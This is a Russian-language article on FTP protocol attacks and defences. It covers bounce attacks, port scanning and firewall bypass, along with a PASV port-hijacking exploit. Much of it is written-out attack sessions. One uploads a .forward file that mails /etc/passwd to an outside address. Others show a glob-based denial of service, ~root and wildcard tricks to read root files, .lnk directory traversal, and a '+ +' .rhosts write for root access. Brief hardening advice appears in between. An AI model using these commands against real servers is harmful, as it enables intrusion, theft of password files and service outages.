FTP-спецификация содержит множество механизмов, которые могут использоваться для обхода систем безопасности. FTP позволяет пользователю пересылать файлы с сервера на другой компьютер. Эта технология, известная как proxy FTP, вызывает хорошо известные проблемы защиты. FTP спецификация позволяет провести неограниченное число попыток по вводу пароля пользователя. Это позволяет провести подбор пароля. File Transfer Protocol specification (FTP) позволяет пользователю установить FTP-соединение и пересылать файлы между 2-мя FTP серверами. Этот механизм используется для уменьшения полезного трафика в сети. Это особенно эффективно при использовании медленного соединения (например, модем). Proxy FTP вызывает проблему, известную как "bounce attack"- подробнее о ней ниже . Также FTP может использоваться для подбора пароля.
FTP Bounce атака.
Введение.
Уже несколько лет, проходят постоянные дискуссии о проблемах связанных с командой PORT в FTP протоколе. Эти проблемы основаны на неправильном использовании команды PORT в FTP протоколе. Хотя эта проблема была обнаружена несколько лет назад, но она до сих пор не потеряла своей актуальности.
1.FTP протокол.
Чтобы понять атаку надо иметь представление о FTP протоколе (Postel, J., and J. Reynolds, "File Transfer Protocol," STD 1, RFC 959, USC/Information Sciences Institute, October 1985.)[1] Сначала клиент открывает соединение на управляющем порту FTP (порт 21) FTP сервера. Так чтобы сервер потом мог послать данные на машину клиента, потом соединение должно быть открыто между сервером и клиентом. Чтобы осуществить это второе соединение, клиент посылает команду PORT на сервер. Эта команда включает параметры, которые говорят серверу с каким IP адресом надо соединиться и какой порт открыть по этому адресу - в большинстве случаев это предположительно будет порт с большим номером на машине клиента. Сервер затем открывает это соединение, источником соединения является 20 порт на сервере, а приемник - это порт идентифицирующийся по параметрам команды PORT . Команда PORT обычно используется в "active mode" FTP, по умолчанию. И обычно не используется в passive ( также известный как PASV [2]) mode. Имейте введу, что серверы обычно поддерживают оба режима, а клиент определяет какой из методов использовать [3].
2. The FTP Bounce Attack
В соответствии FTP протоколу, команда PORT формируется для каждого клиента специфически - соответственно и порт на стороне клиента тоже. Но это также означает, что атакующий может открыть соединение на порт по своему выбору на машине которая возможно не является истинным клиентом. Получение этого соединения на произвольной машине - это и есть FTP bounce attack. Для иллюстрирования привожу несколько примеров ее использования.
3.1 Port scanning.
Атакующий желает произвести сканирование порта хоста и может это сделать с анонимно через FTP сервер который выступает в качестве этапа сканирования. Хост жертвы видит сканирование исходящее от FTP сервера, а не истинный источник ( FTP клиент ).
При некоторых обстоятельствах, эта техника представляет атакующему большие преимущества - это точное скрытие реального источника исследования . Когда предположительная жертва в этой подсети является FTP сервером, или когда не фильтруется трафик исходящий с FTP сервера, атакующий может использовать сервер как источник сканирования портов, что предпочтительней чем машину клиента, таким образом удается обойти ограничение доступа, которое могло в противном случае фильтроваться Firewall.
3.2 Обход Firewall.
Атакующий может обойти firewall (или другую ограничивающую защиту) в определенных конфигурациях сети. Например, допустим, что хост имеет анонимный FTP сервер за firewall . Используя вышеуказанную технологию сканирования портов атакующий определяет, что внутренний web сервер на этом хосте находится на 8080 порту, порт нормально блокируется firewall. При соединении на public FTP сервер на хосте, атакующий инициирует дальнейшее соединение между FTP сервером и произвольным портом на внутренней машине на хосте (например внутренний web сервер на 8080 порту ). В результате , атакующий устанавливает соединение с машиной которая в противном случае защищается firewall.
3.3 Пример атаки на sendmail.
- Находим сервер который разрешает uploads .
- Upload'им на туда файл содержащий SMTP диалог для посылки сообщения
- Даем команду PORT victim-ip,25
- Даем команду RETR filename
Тоже самое можно проделать и с диалогом NNTP .
4. Решения. - Защита от Bounce Attack
Оригинальная FTP спецификация подразумевает соединение при помощи Transmission Control Protocol (TCP). Порты TCP от 0 до 1023 зарезервированы для таких сервисов, как почта, сетевые новости и контроль FTP соединений. FTP спецификация не имеет ограничений на номер TCP порта, используемый для соединения. При помощи proxy FTP пользователь может провести при помощи сервера атаку сервисов на любой машине.
Для избежания подобных атак необходимо запретить открытие соединения в портах TCP, меньших 1024. Если сервер получает команду PORT с параметром, меньшим 1024, сервер отвечает 504 (определено как "Command not implemented for that parameter"). Однако это всё еще оставляет уязвимыми сервисы, запускаемые на портах более чем 1024.
Некоторые источники предлагают использование другого протокола (не TCP). Нужно учесть, что bounce attack требует закачки файла на FTP сервер и последующую его перекачку на атакуемый сервис. Использование файловых защит устранит эту возможность. Взломщик также может атаковать сервис посылкой случайных данных с FTP сервера, что может
доставить некоторые проблемы сервисов.
Отключение команды PORT также может быть использовано для защиты от атак. Большинство файловых пересылок может быть сделано при помощи команды PASV. Однако в таком случае proxy FTP не может быть использовано.
- Допускать в параметрах команды PORT только IP клиента.
- Либо не поддерживать FTP вообще.
5. Какие сервера подвержены этой уязвимости .
По данным статьи "The Art of scanning ports" by Fyodor mailto:fyodor@dhp.com В сканер nmap уже есть такая возможность сканить порты через FTP .
*Bounce attacks worked:*
220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.
220 xxx.xxx.xxx.edu FTP server ready.
220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.
220 lem FTP server (SunOS 4.1) ready.
220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.
220 elios FTP server (SunOS 4.1) ready
*Bounce attack failed:*
220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.
220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7
220 ftp Microsoft FTP Service (Version 3.0).
220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.
220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.
3) Использование погрешности в реализации FTP протокола.[4]
Дэвид Сэйсердот в своей статье посвященной уязвимости FTP протокола и датированной аж апрелем 1996 года теоретически уязвимость FTP протокола при его некорректной реализации. В статье интересны два момента, причем не связанные напрямую с ее содержанием а именно:
1. С апреля 1996 года проблема нисколько не утратила своей актуальности. Проблема очень серьезная, поскольку позволяет, например, атаковать клиента находящегося за прокси-сервером (подсунув измененные данные прокси серверу вы тем самым подсунете их клиенту).
2. Дэвид ошибался как в оценке уязвимости FTP-клиентов, так и в сложности реализации данной уязвимости, т.к. указанные им методы чересчур сложны для реального использования.
Лечиться эта проблема так же должна другими методами: сервер не должен принимать более одного соединения на порт данных (так делает IIS, поэтому против него такая атака работает лишь как DoS, не позволяя подсоединиться клиентам). Клиент в активном режиме должен проверять IP адрес соединения и так же не позволять двух соединений на один порт. Кроме того, при получении сообщения об ошибке или при неожиданном закрытии контрольного сеанса, сторона, принимающая данные, должна эти данные игнорировать (т.е. удалять принятый файл). Кроме того, желательно наличие в протоколе команды вычисляющей контрольную сумму файла (хотя этим можно воспользоваться как DoS атакой - требуются большие ресурсы сервера).
Было обнаружено, что стандартный ftp из FreeBSD 2.2.5 (и наверняка любой другой BSD4.2 клиент) уязвим, несмотря на заверения Дэвида в обратном. Так же уязвим практически любой FTPD-based FTP сервер (wu-ftpd, например, практически любой версии или стандартный FTPD) . При этом ftp клиент в Midnight Commander, например, такой проблемы не имеет.
Проблема была исследована ЗАРАЗой [4] после чего он написал эксплоит, который использует точь-в-точь алгоритм предложенный Дэвидом больше трех лет назад. Цитата из его статьи по этому поводу: "Может быть я и изобрел велосипед, но, похоже, на этом велосипеде за три года кататься разучились. По крайней мере, посещаемость FTP серверов не упала а защищенность не увеличилась. "
- Угадываем, какой порт будет открыт пассивным FTP-сервером или активным клиентом и атакуем этот порт постоянными запросами на TCP соединение. Если соединение удалось установить, мы либо посылаем туда свои собственные данные либо читаем данные оттуда. Либо - и то и другое. Вопрос лишь в том, как угадать порт, а сделать это не сложно, если вы можете использовать атакуемую машину или как FTP сервер, или как прокси или как сервер для отправки почты. В случае атаки на FTP сервер - мы не имеем никаких проблем.
- Как работает эксплоит: Открывает соединение на 21й порт сервера и через равные интервалы времени дает команду PASV, на которую сервер любезно отвечает номером открытого порта. Вот именно его мы и используем за основу для вычисления атакуемого порта. Соединение устанавливается, программа переходит в режим ожидания данных. Если в течении 5 секунд данные не поступили, то программа сама посылает данные. Работает как против сервера, так и против клиента (при условии, что на машине клиента так же живет FTP-Сервер). Можно атаковать клиента и используя данные о порте полученные другим образом, например, если на компьютере клиента стоит sendmail можно отправлять через него письма на свою машину и определять номер порта, с которого пришло соединения на 25й порт. Если на компьютере клиента есть прокси сервер, то можно запросить любую URL со своего компьютера и так же определить порт входящего соединения.
Exploit:ftpspy.c
4) Типичные атаки на FTP.
1.Получение рута на FTP.
bash# ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)
2. Получение файла /etc/passwd .
bash# cat myforward_file
"cat /etc/passwd | /bin/mail hacker@mail.ru "
bash# ftp victim.com
Connected to victim.com
220 victim FTP server ready
Name (victim.com:hacker):ftp
331 Guest login ok, send you e-mail as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -l
220 PORT command succesful.
150 Opening ASCII mode data connection for '/bin/ls'.(192.168.1.1, 2335) (0 bytes)
total 4
dr-xr-xr-x 2 root operator 512 Feb 28 2000 bin
dr-xr-xr-x 2 root operator 512 Sep 18 2000 etc
drwxrwxrwt 13 root operator 1024 Jul 1 00:55 incoming
drwxr-xr-x 3 root operator 512 Feb 19 10:25 pub
226 Transfer complete.
ftp>put myforward_file .forward
ftp>quit
bash# echo 'You a hacked' | mail ftp@victim.com
Таким образом мы отсылая письмо юзеру ftp, выполнится наш .forward файл и если у демона достаточно прав на то чтобы прочитать /etc/passwd то можно ожидать его прихода на указанный почтовый ящик .
3. D.o.S атака на FTPd .
bash-2.05$ ftp victim.com
Connected to victim.com.
220 victim.com FTP server (Version 6.00) ready.
Name (victim.com:hacker): ftp
331 Guest login ok, send your email address as password.
Password:
230- Welcome to victim.com FTP server!
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*^C
bash# ftp victim.com
Error:425 Run out of memory
По команде ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* приводит к прочному подвисанию сервера с большим потреблением памяти и процессорного времени. Переполнение буфера при работе с функцией glob(); - при разборе пути запрошенного файла.
Уязвимые системы :
FreeBSD 4.2
OpenBSD 2.8
NetBSD 1.5
IRIX 6.5
HP-UX 11.00
Solaris 8
4. Получение файла с правами рута . [5]
the-7 00:48:46 hanirc $ 50 ftp -d 127.0.0.1
Connected to 127.0.0.1.
220 the-7.net FTP server (Version 6.00LS) ready.
Name (127.0.0.1:ab): test
---> USER test
331 Password required for test.
Password:
---> PASS XXXX
230 User test logged in.
---> SYST
215 UNIX Type: L8 Version: BSD-199506
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /roo?
---> CWD /roo?
250 CWD command successful.
ftp> pwd
---> PWD
257 "/root" is current directory.
ftp> dir ?
---> PORT 127,0,0,1,193,69
200 PORT command successful.
---> LIST ?
150 Opening ASCII mode data connection for '/bin/ls'.
-rwxr-xr-x 1 ab user 497 Dec 20 2000 p
226 Transfer complete.
ftp> get ?
local: ? remote: ?
---> TYPE I
200 Type set to I.
---> SIZE ?
213 497
---> PORT 127,0,0,1,193,70
200 PORT command successful.
---> RETR ?
150 Opening BINARY mode data connection for 'p' (497 bytes).
100% |**************************************************| 497 00:00 ETA 226 Transfer complete.
497 bytes received in 0.00 seconds (1.66 MB/s)
---> MDTM ?
213 20001219211442
ftp>
5) Защита FTP .
1. Ограниченный доступ
Для некоторых FTP серверов предпочтительно ограничить доступ, базированный на сетевом адресе. Например, можно ограничить доступ к определённым файлам с определённых мест (например, если файл не должен выходить за пределы организации). В таком случае, сервер должен проверить сетевой адрес перед посылкой такого файла. Ограничение доступа по сетевому адресу оставляет сервер уязвимым для "spoof" атак. В такой атаке, машина взломщика может присвоить себе адрес другой машины и скачать недоступные вне организации файлы.
2. Защита паролей
Чтобы исключить подбор пароля, нужно ограничить число попыток ввода правильного пароля. После 3-5 попыток сервер должен закрыть соединение, послав перед этим код возврата 421 ("Service not available, closing control connection."). Также, рекомендуется установить 5-секундную паузу перед ответом, что пароль неверен.
Обход этой технологии возможен при множестве параллельных соединений с сервером. Для борьбы с этим, необходимо ограничить максимально возможное число соединений. Однако это приводит к возможности DOS-атак.
3. Privacy
Все данные (включая пароли) посылается через сеть в незашифрованном виде по стандарту FTP. Для гарантирования приватность информации, пересылаемой по FTP. нужно использовать мощный алгоритм шифровки везде, где это возможно.
4. Защита имён пользователей
Стандартный FTP определяет реакцию 530 на команду USER, когда имя пользователя не допускается. Если имя пользователя верно и нужно ввести пароль, FTP возвращает 331. Для того, чтобы взломщик не смог определить имена пользователей, FTP должен всегда отвечать 331 на команду USER.
6) Обзор недавних уязвимостей FTP сервисов .
1. Переполнения буфера в командах CWD и LIST. PI-SOFT: SpoonFTP 1.0
2. Выход за пределы корневой директории с помощью .lnk-Файлов в ftp-серверах (directory traversal) . Поместив на сервер ярлык (.lnk) можно получить доступ к файлу находящемуся за пределами корневой папки FTP.
ftp> PUT local.lnk remote.lnk
WFTPD: WFTPD 3.0
TRANSSOFT: Broker FTP 5.9
ARGOSOFT: Argosoft FTP Server 1.2
Bison FTP server V4R1
3. Проблемы во многих ftp-Серверах проблемы с обратным путем в директориях (../).
WHITSOFT: SlimServe FTP v1.0
DATAWIZARD: FtpXQ Server 2.0
TYPSOFT: TYPSoft FTP Server 0.85
NETWIN: SurgeFTP 1.0
WAR: WarFTPd 1.67
PLAYSTATION2: RaidenFTPD 2.1
4. Часто встречается переполнение буфера в полях USER и PASSWORD .
5. MS IIS 4.0 FTP Denial of Service Attack
IIS 4.0 подвержен Denial of Service Attack. Правда, в довольно редко встречающихся условиях. Условия таковы: FTP сервер с виртуальными директориями ( или виртуальными серверами ) в количестве порядка сотни. Сервер можно забить, послав десяток одновременных PUT или GET-запросов. Через некоторое время (минуты) сервер начнет отвечать "426 Connection closed; transfer aborted" при попытке коннекта куда бы то ни было на сервере. Кроме этих удовольствий, во время атаки любая попытка перезаписать какие-либо файлы на FTP авторизованным юзером (не анонимом) приведет к блокировке файлов (locking) и их замещению файлами нулевой длины. Проблема решается лишь рестартом IIS`а.
5. Ошибка с установкой привилегий (permisions).
Bash# ftp target.victim.com
Connected to 666.666.666.666.
220 target FTP server (Version wu-1.2(1) Mon Feb 30 18:04:42 EST 1995) ready.
Name (666.666.666.666:hakd00d): ftp (or anonymous)
331 Guest login ok, send your complete e-mail address as password.
Password:
230-
230-Welcome to Victim Internet Services, Inc.
230-
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 7704
drwxrwxrwx 40 ftp other 8192 Jun 10 19:11 .
drwxr-xr-x 40 root other 8192 Jun 10 19:11 ..
lrwxrwxrwx 1 ftp other 8 May 24 12:19 1869 -> pub/1869
drwxrwxrwx 4 root root 4096 May 23 02:05 pix.tar.gz
lrwxrwxrwx 1 ftp other 8 May 24 12:19 idiot -> pub/idiot
Владельцем текущей директории является ftp демон . Можно сделать так: echo "+ +" > .rhosts
Это дает злоумышленнику возможность приобрести рута или использовать вашу машину как точку для коннекта на другие .